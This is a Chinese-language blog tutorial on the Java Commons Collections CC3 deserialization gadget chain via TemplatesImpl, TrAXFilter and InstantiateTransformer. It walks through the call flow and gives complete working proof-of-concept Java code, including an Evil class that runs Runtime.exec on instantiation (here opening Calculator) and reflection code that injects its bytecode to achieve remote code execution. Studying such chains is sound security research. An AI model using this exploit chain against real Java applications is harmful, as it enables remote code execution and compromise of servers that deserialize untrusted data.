Java反序列化 - CC3链 - TemplatesImpl链(代码审计)
一、漏洞简述:
CC1链 和 CC6链中都使用了 Runtime.getRuntime().exec()来进行RCE,服务器黑名单中会选择禁止使用Runtime类来规避。
而CC3则是选择使用恶意类字节码加载的方式,动态加载恶意类来实现RCE。
CC3链分析:
1、调用类利用流程:
InstantiateTransformer.transform()
-> TrAXFilter.TrAXFilter()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TemplatesImpl.defineTransletClasses().defineClass()
2、TemplatesImpl类利用:
1、TemplatesImpl类中重写了 defineClass方法,使其可以加载恶意字节码从而造成RCE:

2、defineTransletClasses方法中调用了defineClass方法,使用 defineClass方法加载字节码 _bytecodes数组,若_bytecodes为恶意类字节码,则会造成RCE:

3、getTransletInstance方法中调用了defineTranslateClasses方法,并且对通过加载字节码所加载的类进行了实例化操作:

4、newTransformer方法调用了 getTransletInstance方法:

利用点在于将 _bytecodes数组的值赋值为恶意字节码,调用 defineTransletClasses方法时使用for循环,调用 defineClass方法加载恶意字节码。
defineTransletClasses方法是由getTransletInstance方法调用的,恶意类加载后被使用 .instance方法实例化,从而触发RCE。
由于getTransletInstance方法的属性为private,无法被外部调用,故使用newTransformer方法(public方法)来调用,至此TemplatesImpl利用链完成。
3、poc构造:
成员变量 _bytecodes,_name,_tfactory,_class的成员属性均为 private私有,所以需要通过反射来进行赋值。

1、首先赋值 _bytecodes数组,值为恶意类字节码:
//设置 恶意类字节码 codes
byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
byte[][] codes = {code};
//使用反射给 _bytesCode 赋值 codes
Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
bytesCodeField.setAccessible(true);
bytesCodeField.set(templatesImpl, codes);
2、getTransletInstance方法中,调用 defineTransletClasses方法的前提是 _name的值不为 null,且 _class的值为null,故给 _name赋值任意值:
//使用反射给 _name 赋值 "CC3Test"
Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "CC3Test");
3、defineTransletClasses方法中使用了 ——tfactory,所以tfactory也需要进行赋值,否则会发生报错:

4、在 TemplatesImpl.readObejct方法中,_tfactory被赋值 new TransformerFactoryImpl,故赋同样的值:

//使用反射 _tfactory 赋值 new TransformerFactoryImpl
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
5、链子的最后一点则是恶意类Evil必须是 AbstractTranslet的子类,因为defineTransletClasses方法中会检查加载类的父类是否是 AbstractTranslet类,如果不是,则会调用_auxClasses.put方法,由于 _auxClasses为null,所以会产生报错,故Evil类需要继承AbstractTranslet类:

故修改 Evil类代码并重新进行编译:
public class Evil extends AbstractTranslet {
public Evil() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
TemplatesImpl利用链poc如下:
public class CC3POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templatesImpl = new TemplatesImpl();
//使用反射给 _name 赋值 "CC3Test"
Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "CC3Test");
//设置 恶意类字节码 codes
byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
byte[][] codes = {code};
//使用反射给 _bytesCode 赋值 codes
Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
bytesCodeField.setAccessible(true);
bytesCodeField.set(templatesImpl, codes);
//使用反射 _tfactory 赋值 new TransformerFactoryImpl
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}

4、外部调用:
可以通过使用 TrAXFilter类 和 InstantiateTransformer类来调用 TemplatesImpl.newTransformer方法实现RCE。
控制 TrAXFilter类构造函数中的templates的值来实现调用 .newTransformer方法。
通过 InstantiateTransformer类中的构造函数和 transform方法来实现。

完整调用POC如下:
public class CC3POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templatesImpl = new TemplatesImpl();
//使用反射给 _name 赋值 "CC3Test"
Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "CC3Test");
//设置 恶意类字节码 codes
byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
byte[][] codes = {code};
//使用反射给 _bytesCode 赋值 codes
Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
bytesCodeField.setAccessible(true);
bytesCodeField.set(templatesImpl, codes);
//使用反射 _tfactory 赋值 new TransformerFactoryImpl
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
//调用 TrAXFilter的类构造器
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
//调用 templatesImpl.newTransformer();
instantiateTransformer.transform(TrAXFilter.class);
}
}


浙公网安备 33010602011771号